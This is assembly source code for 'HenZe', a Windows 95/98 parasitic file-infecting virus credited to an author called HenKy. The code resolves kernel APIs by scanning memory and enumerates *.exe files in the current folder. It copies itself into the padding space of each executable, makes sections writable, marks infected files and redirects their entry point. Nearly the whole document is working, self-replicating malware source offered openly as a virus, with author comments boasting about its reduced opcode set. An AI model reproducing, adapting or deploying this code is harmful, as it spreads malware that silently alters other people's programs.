;----------------------------  W95 HenZe BY HenKy -----------------------------
;
;-AUTHOR:        HenKy
;
;-MAIL:          HenKy_@latinmail.com
; 
;-ORIGIN:        SPAIN
; 


.586P        
.MODEL FLAT
LOCALS


EXTRN       ExitProcess:PROC 

KERNEL95    EQU 0BFF70000h
MIX_SIZ     EQU FILE_END-MEGAMIX
MIX_MEM     EQU MEM_END-MEGAMIX 
NABLA       EQU DELTA-MEGAMIX
MARKA       EQU 66
FLAGZ       EQU 00000020H OR 20000000H OR 80000000H
MAX_PATH    EQU 260

MACROSIZE   MACRO		
             
            DB      MIX_SIZ/01000 mod 10 + "0"
            DB      MIX_SIZ/00100 mod 10 + "0"
            DB      MIX_SIZ/00010 mod 10 + "0"
            DB      MIX_SIZ/00001 mod 10 + "0"
            
            ENDM

    ; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER
    ; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION)

	; MOV \
	; CALL \
	; JNZ   \   ONLY SIX OPCODES WERE USED.. xDDD
	; ADD   /
	; SUB  /
	; CMP /

		 ; AND NO INDEXING MODE (EASY DISASM CODE)

		;MOV EAX,[EBP+5]

		;TURNS INTO:

		; ADD EBP,5
		; MOV EAX,[EBP]

		;AND SO...

       ; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND

       ;  SEVERAL META TIPS

.DATA
            
copyrisgt   DB 'HenZe '
                 
        MACROSIZE
.CODE

           ; BIZARRE VIRUS BEGINS...
MEGAMIX:
       
                       
        MOV     EAX, 401005H
   MILO EQU     $-4                  
DELTA:  
        MOV     EBP,EAX
WINES:
        MOV     EAX,KERNEL95
        MOV     CL,'M'
        CMP     BYTE PTR [EAX],CL
        JNZ     WARNING
        MOV     EBX,EAX
        MOV     EDX,02b226A57h ; GPA SIGNATURE FOR W9X
        
BUSCA3:
        ADD     EAX,1
        CMP     DWORD PTR [EAX],EDX
        JNZ     SHORT BUSCA3
 APIZ:
       
        MOV     ECX,OFFSET GPA
        ADD     ECX,EBP
        SUB     ECX,OFFSET DELTA
        MOV     [ECX],EAX
        MOV     ESI, OFFSET APIs
        ADD     ESI,EBP
        SUB     ESI,OFFSET DELTA
        MOV     EDI,OFFSET APIaddresses
        ADD     EDI,EBP
        SUB     EDI,OFFSET DELTA

GPI:    SUB     ESP,4
        MOV     [ESP],ESI
        SUB     ESP,4
        MOV     [ESP],EBX
        MOV     ECX,OFFSET GPA
        ADD     ECX,EBP
        SUB     ECX,OFFSET DELTA
        CALL    [ECX]
                                     
        MOV     [EDI],EAX
        ADD     EDI,4
      

 NPI:   
        MOV     AL,BYTE PTR [ESI]
        ADD     ESI,1
        
        CMP     AL,0
        JNZ     SHORT NPI
        CMP     [ESI], AL
        JNZ     GPI
        
        

INFECT:
      
        MOV     EAX, OFFSET Win32FindData
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        SUB     ESP,4
        MOV     [ESP],EAX  
        MOV     EAX,OFFSET IMASK
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        SUB     ESP,4
        MOV     [ESP],EAX      
        MOV     EAX,OFFSET FindFirstFile  
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        CALL    [EAX] 
        MOV     EBX, OFFSET SearcHandle
        ADD     EBX,EBP
        SUB     EBX,OFFSET DELTA
        MOV     [EBX],EAX
        

LOOPER:  
        CMP     EAX,-1
        JNZ     SUPPER
        

WARNING:
      
        MOV     EAX,12345678H
        ORG     $-4
OLD_EIP DD      00401000H
        ADD     ESP,4
        CALL    EAX   ; SUXXX!!! I DONT WANT TO WASTE JMP HERE

SUPPER:

        CMP      EAX,0                   
        JNZ      ALLKEY
PILLE:
        CMP      ESP,0   ; ESP NEVER IS ZERO
        JNZ      WARNING

ALLKEY:

        SUB     ESP,4
        MOV     EAX,OFFSET OLD_EIP
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        MOV     EBX,[EAX]
        MOV     [ESP],EBX
        SUB     ESP,4
        MOV     [ESP],EDX
        SUB     ESP,4
        MOV     [ESP],00000080h
        SUB     ESP,4
        MOV     [ESP],3
        SUB     ESP,4
        MOV     [ESP],EDX
        SUB     ESP,4
        MOV     [ESP],EDX
        SUB     ESP,4
        MOV     [ESP],0C0000000h

        MOV     EAX ,offset FNAME        ; OPEN IT!
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        SUB     ESP,4
        MOV     [ESP],EAX
        MOV     EAX, OFFSET CreateFile
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        CALL    [EAX]

        MOV     EBX,OFFSET FileHandle
        ADD     EBX,EBP
        SUB     EBX, OFFSET DELTA
        MOV     [EBX],EAX  ; SAVE HNDL
        MOV     EBX,OFFSET WFD_nFileSizeLow
        ADD     EBX,EBP
        SUB     EBX, OFFSET DELTA
        MOV     ECX, [EBX]           
      
        MOV     EDX,0    
        SUB     ESP,4
        MOV     [ESP],EDX
        SUB     ESP,4        
        MOV     [ESP],ECX       
        SUB     ESP,4
        MOV     [ESP],EDX  
        SUB     ESP,4
        MOV     [ESP],4H        
        SUB     ESP,4
        MOV     [ESP],EDX
          
        SUB     ESP,4
        MOV     EBX,OFFSET FileHandle
        ADD     EBX,EBP
        SUB     EBX,OFFSET DELTA
        MOV     ECX,[EBX]
        MOV     [ESP],ECX
        MOV     EAX, OFFSET CreateFileMappingA
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        CALL    [EAX]     
             
        MOV     EBX,OFFSET MapHandle
        ADD     EBX,EBP
        SUB     EBX, OFFSET DELTA
        MOV     [EBX],EAX
              
        MOV     EBX,OFFSET WFD_nFileSizeLow
        ADD     EBX,EBP
        SUB     EBX, OFFSET DELTA
        MOV     ECX, [EBX]        
     
        MOV     EDX,0
        SUB     ESP,4  
        MOV     [ESP],ECX       
        SUB     ESP,4  
        MOV     [ESP],EDX
        SUB     ESP,4  
        MOV     [ESP],EDX  
        ADD     EDX,2
        SUB     ESP,4  
        MOV     [ESP],EDX  
        SUB     ESP,4    
        MOV     ECX, OFFSET MapHandle
        ADD     ECX,EBP
        SUB     ECX,OFFSET DELTA
        MOV     EBX,[ECX]
        MOV     [ESP],EBX
        MOV     EBX, OFFSET MapViewOfFile
        ADD     EBX,EBP
        SUB     EBX,OFFSET DELTA     
        CALL    [EBX]   

        MOV     EBX,OFFSET  MapAddress
        ADD     EBX,EBP
        SUB     EBX,OFFSET DELTA
        MOV     [EBX],EAX        
        MOV     ESI,EAX                         ; GET PE HDR       
        MOV     EDX,EAX
        ADD     EAX,3CH
        MOV     ESI,[EAX]        
        ADD     ESI,EDX        
        CMP     BYTE PTR [ESI],"P"            ; IS A 'P'E ?     
        JNZ     Cerrar       
        ADD     ESI,MARKA 
        CMP     BYTE PTR [ESI],"H"     ; HenKy IS HERE ?        
        JNZ     Cerrar1      
        CMP     ESP,0
        JNZ     Cerrar

Cerrar1:
        SUB     ESI,MARKA
        MOV     EBX,ESI
        ADD     EBX,3CH
        MOV     EAX,[EBX] ; ONLY SOME W98  HAVE 1000H/1000H INSTEAD 1000H/200H
        MOV     ECX,ESI
        ADD     ECX,56
        CMP     EAX,[ECX]   
        JNZ     Cerrar         
                               
        SUB     ESP,4
        MOV     [ESP],ESI
        MOV     ECX,0
        MOV     EDI,ESI
        ADD     EDI,6
        MOV     CL,BYTE PTR [EDI]
        ADD     EDI,74H-6
        MOV     EBX,[EDI]
        ADD     EBX,EBX
        ADD     EBX,EBX
        ADD     EBX,EBX
        ADD     ESI,78H                        
        ADD     ESI,EBX  
        ADD     ESI,24H
 WRI:       
        MOV     DWORD PTR [ESI], 0C0000040h
        ADD     ESI,40
        SUB     ECX,1   
        CMP     ECX,0
        JNZ     WRI

        MOV     ESI,[ESP]
        ADD     ESP,4    
        
        MOV     EDI,ESI
        ADD     ESI,28H
        MOV     EAX,[ESI]
        ADD     ESI,34H-28H      
        ADD     EAX,[ESI]
        MOV     ECX,[ESI]
        MOV     EDX,OFFSET BASE
        ADD     EDX,EBP
        SUB     EDX,OFFSET DELTA
        MOV     [EDX],ECX
        MOV     EBX,OFFSET OLD_EIP
        ADD     EBX,EBP
        SUB     EBX,OFFSET DELTA
        MOV     [EBX],EAX    
        MOV     ESI,EDI
        ADD     ESI,MARKA
        MOV     BYTE PTR [ESI],"H" ;  HenKy! 
        MOV     EAX,OFFSET WFD_nFileSizeLow
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA    
        MOV     ECX,[EAX]
        MOV     EAX,EDI
 BU:
        CMP     DWORD PTR [EDI], 'XGNI'      
        JNZ     PE
        CMP     ESP,0
        JNZ     PO
       
 PE:
        ADD     EDI,1
        SUB     ECX,1
        CMP     ECX,0 
        JNZ     BU
        CMP     ESP,0
        JNZ     Cerrar

PO:
        MOV     ESI,EDI
        ADD     ESI,4
        CMP     DWORD PTR [ESI], 'DAPX'      
        JNZ     PE
        SUB     ESP,4
        MOV     [ESP],EDI
        MOV     EBX,OFFSET MapAddress
        ADD     EBX,EBP
        SUB     EBX,OFFSET DELTA
        SUB     EDI,[EBX]
        ADD     EAX,28H
        MOV     [EAX],EDI
        MOV     EBX,OFFSET BASE
        ADD     EBX,EBP
        SUB     EBX,OFFSET DELTA
        ADD     EDI,[EBX]  
        ADD     EDI,5
        MOV     EDX,OFFSET MILO
        ADD     EDX,EBP
        SUB     EDX,OFFSET DELTA
        MOV     [EDX],EDI
        
        MOV     EDI,[ESP]
        ADD     ESP,4

        MOV     ESI,OFFSET MEGAMIX
        ADD     ESI,EBP
        SUB     ESI,OFFSET DELTA        
        MOV     ECX,MIX_SIZ/4
        
BASTARDO_VIRUS:

        MOV     EAX,[ESI]
        MOV     [EDI],EAX
        ADD     ESI,4
        ADD     EDI,4
        SUB     ECX,1
        CMP     ECX,0
        JNZ     BASTARDO_VIRUS 

UnMapFile:
        
        MOV     EAX, OFFSET MapAddress
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        SUB     ESP,4
        MOV     [ESP],EAX        
        MOV     EAX, OFFSET UnmapViewOfFile
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        CALL    [EAX]

CloseMap:        
       
        MOV     EAX, OFFSET MapHandle
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        SUB     ESP,4
        MOV     [ESP],EAX  
        MOV     EAX, OFFSET CloseHandle
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        CALL    [EAX]        
        
        
Cerrar: 
       
        MOV     EAX,OFFSET OLD_EIP
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        MOV     EBX,[ESP]
        MOV     [EAX],EBX
        ADD     ESP,4
        
        MOV     EAX, OFFSET FileHandle
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        SUB     ESP,4
        MOV     [ESP],EAX  
        MOV     EAX, OFFSET CloseHandle
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        CALL    [EAX]        
        

TOPO:
        
        
        MOV     EAX, offset Win32FindData
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        SUB     ESP,4
        MOV     [ESP],EAX

        MOV     EAX, OFFSET SearcHandle
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        SUB     ESP,4
        MOV     [ESP],EAX  
        MOV     EAX, OFFSET FindNextFile
        ADD     EAX,EBP
        SUB     EAX,OFFSET DELTA
        CALL    [EAX]        
        CMP     ESP,0
        JNZ     LOOPER


APIs:   
        DB      "CreateFileA",0
        DB      "CloseHandle",0
        DB      "FindFirstFileA",0
        DB      "FindNextFileA",0   
        DB      "MapViewOfFile",0
        DB      "UnmapViewOfFile",0
        DB      "CreateFileMappingA",0  
Zero_   DB        0
BASE    DD        0

IMASK   DB       '*.ExE',0 
        DB        'HenZe LameVirus BY HenKy',0

align 4

FILE_END               LABEL BYTE

APIaddresses:

CreateFile          DD 0
CloseHandle         DD 0
FindFirstFile       DD 0
FindNextFile        DD 0
MapViewOfFile       DD 0
UnmapViewOfFile     DD 0
CreateFileMappingA  DD 0
GPA                 DD 0
SearcHandle         DD 0                            
FileHandle          DD 0                           
MapHandle           DD 0
MapAddress          DD 0

FILETIME                STRUC

FT_dwLowDateTime        DD      ?
FT_dwHighDateTime       DD      ?

FILETIME                ENDS

Win32FindData:
   
WFD_dwFileAttributes    DD      ?
WFD_ftCreationTime      FILETIME ?
WFD_ftLastAccessTime    FILETIME ?
WFD_ftLastWriteTime     FILETIME ?
WFD_nFileSizeHigh       DD      ?
WFD_nFileSizeLow        DD      ?
WFD_dwReserved0         DD      ?
WFD_dwReserved1         DD      ?
FNAME                   DD      0
                        DD      0
                        DD      0
                        DD      0
                        DD      0
                        DD      0
align 4


MEM_END                LABEL BYTE                     

EXITPROC:
        
        PUSH 0
        CALL ExitProcess

ENDS
END MEGAMIX